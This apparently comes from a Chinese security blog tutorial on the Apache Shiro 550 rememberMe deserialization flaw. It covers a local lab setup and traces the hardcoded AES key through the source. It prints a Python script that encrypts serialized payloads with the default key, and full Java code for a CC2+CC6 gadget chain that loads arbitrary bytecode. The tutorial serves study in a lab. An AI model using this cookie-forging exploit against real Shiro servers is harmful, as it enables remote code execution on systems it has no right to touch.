Shiro反序列化漏洞-Shiro550 前言 Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为shiro接受了Cookie里面rememberMe的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。
加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。
环境搭建 github下载
1 2 3 git clone https://github.com/apache/shiro.git cd shiro git checkout shiro-root-1.2.4
然后编辑shiro\samples\web的pom.xml中的pom.xml文件:
1 2 3 4 5 6 7 <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <!-- 这里需要将jstl设置为1.2 --> <version>1.2</version> <scope>runtime</scope> </dependency>
然后用idea导入此mvn项目:
等待idea自动下载导入项目依赖的包
接着设置run/debug configurations, 添加本地tomcat环境(需要提前下载tomcat包)
然后到Deployment,选择添加,然后选择shiro的war包所在位置
设置一个端口,放置被占用
JDK的版本本地默认用的是环境变量的,这里设置一下为JDK8
之后debugging运行,稍等一会就好了
漏洞分析
勾选相应的remeber me抓包会有相应的Cookie出现
可以发现这个Cookie RememberMe在后面登录中带有这个会自动进行登录,而且这个很长,想要搞清楚他是怎么加密的
漏洞产生点在CookieRememberMeManager该位置,来看到rememberSerializedIdentity方法。
按两下shift搜索Cookie相关的
来到CookieRememberMeManager,看到getRememberedSerializedIdentity方法,他里面调用到了base64
看到这里写了base64,往上找getRememberedSerializedIdentity
来到AbstractRememberMeManager
这一段主要是从rememberme中读取数据,然后调用 convertBytesToPrincipals 方法将其反序列化为身份对象,如果获取失败就null或者清除Cookie,最后返回成功获取的身份信息或 null。
这一套下来很明显就是要看convertBytesToPrincipals怎么处理的了
调用了getCipherService(),获取解密结果,继续看decrypt
看到这里,密文和key,大概率是个对称加密
要的参数就密文和key,从这里解密函数的写法可以看出这明显是一个对称加密了,使用的是相同的秘钥进行加解密,大概率是AES-CBC
我们要怎么拿到这个key呢
我们回到AbstractRememberMeManager
发现这个key是个常量
是这个函数设置了key
跟到setCipherKey
最终到
很明显这是一个确定的值
前面这是看了解密的流程,我们再来看看加密的流程
前面分析解密的时候,调用了AbstractRememberMeManager.encrypt进行加密,该类中也有对应的加密操作。
回到AbstractRememberMeManager.encrypt
这里调用了cipherService.encrypt且传入序列化数据,和getEncryptionCipherKey方法。
跟进getEncryptionCipherKey看看怎么获取加密密钥的
这里跟前面一样了对上了,一个是encryptionCipherKey一个是decryptionCipherKey,对称的,定义死了的
返回刚刚的加密的地方
对照着解密看的话就清晰多了,恰好反过来
漏洞探测 一套流程下来就是摸清了shiro的rememberme的加解密流程(AES),就是对rememberme进行反序列化,那我们用urldns链验证一下试试
AES脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import sys import base64 import uuid from Crypto.Cipher import AES def get_file_data(filename): with open(filename, 'rb') as f: return f.read() def aes_enc(data): BS = AES.block_size pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" # base64 编码的密钥(16字节) iv = uuid.uuid4().bytes # 随机生成 IV mode = AES.MODE_CBC encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" iv = enc_data[:16] mode = AES.MODE_CBC encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext if __name__ == "__main__": # 示例文件路径 filepath = 'D:/desktop/a/ser.bin' try: data = get_file_data(filepath) encrypted = aes_enc(data) print("加密结果(Base64):\n", encrypted.decode()) decrypted = aes_dec(encrypted) print("\n解密后的数据前 64 字节:\n", decrypted[:64]) # 防止输出过大 except Exception as e: print(f"发生错误: {e}")
这样只是证明了确实存在反序列化漏洞,但是我们具体要利用的话,仅仅有dns请求没啥具体危害,还是得回到cc链上面去
漏洞利用 先手工配置一下cc链依赖
1 2 3 4 5 <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
这里为什么加3.2.1的依赖,不加4的呢,主要是最开始yoserial里的cc链只有cc2是能打的,而cc2这条链对应的版本就是4.0,这里写3.2.1的依赖主要是看看怎么打其他链子
我们先打个cc6看看报错
报错显示加载不到Transformer类
我们跟到最开始报错的点DefaultSerializer.java:82
这里调用了ClassResolvingObjectInputStream的readObject方法
这里重写了resolveClass方法
我们先看看原生的resloveClass是怎么写的
原生的resolveClass用的是classforname,重写了的resloveClass用的确是Classutils.forName,跟进看看Classutils
用到了自己定义的一些loadClass,进行3次类加载,定义里也有写
正好对应了前面报错出现了3次找不到Transform,就是他无法进行加载数组类,而Transform是数组类,shiro无法加载,那我么你想让他加载恶意类,就是让他不使用数组类就好了
cc2+cc6缝合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class shiroCC { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodeField = tc.getDeclaredField("_bytecodes"); bytecodeField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class")); byte codes[][]= {code}; bytecodeField.set(templates,codes); InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", null, null); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazydMap = LazyMap.decorate(map,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazydMap,templates); HashMap<Object,Object> map2= new HashMap<>(); map2.put(tiedMapEntry,"bbb"); lazydMap.remove(templates); Class c=LazyMap.class; Field factoryField=c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazydMap,newTransformer); serialize(map2); // unserialize("ser.bin"); } public static void serialize(Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); } //反序列化方法 public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } }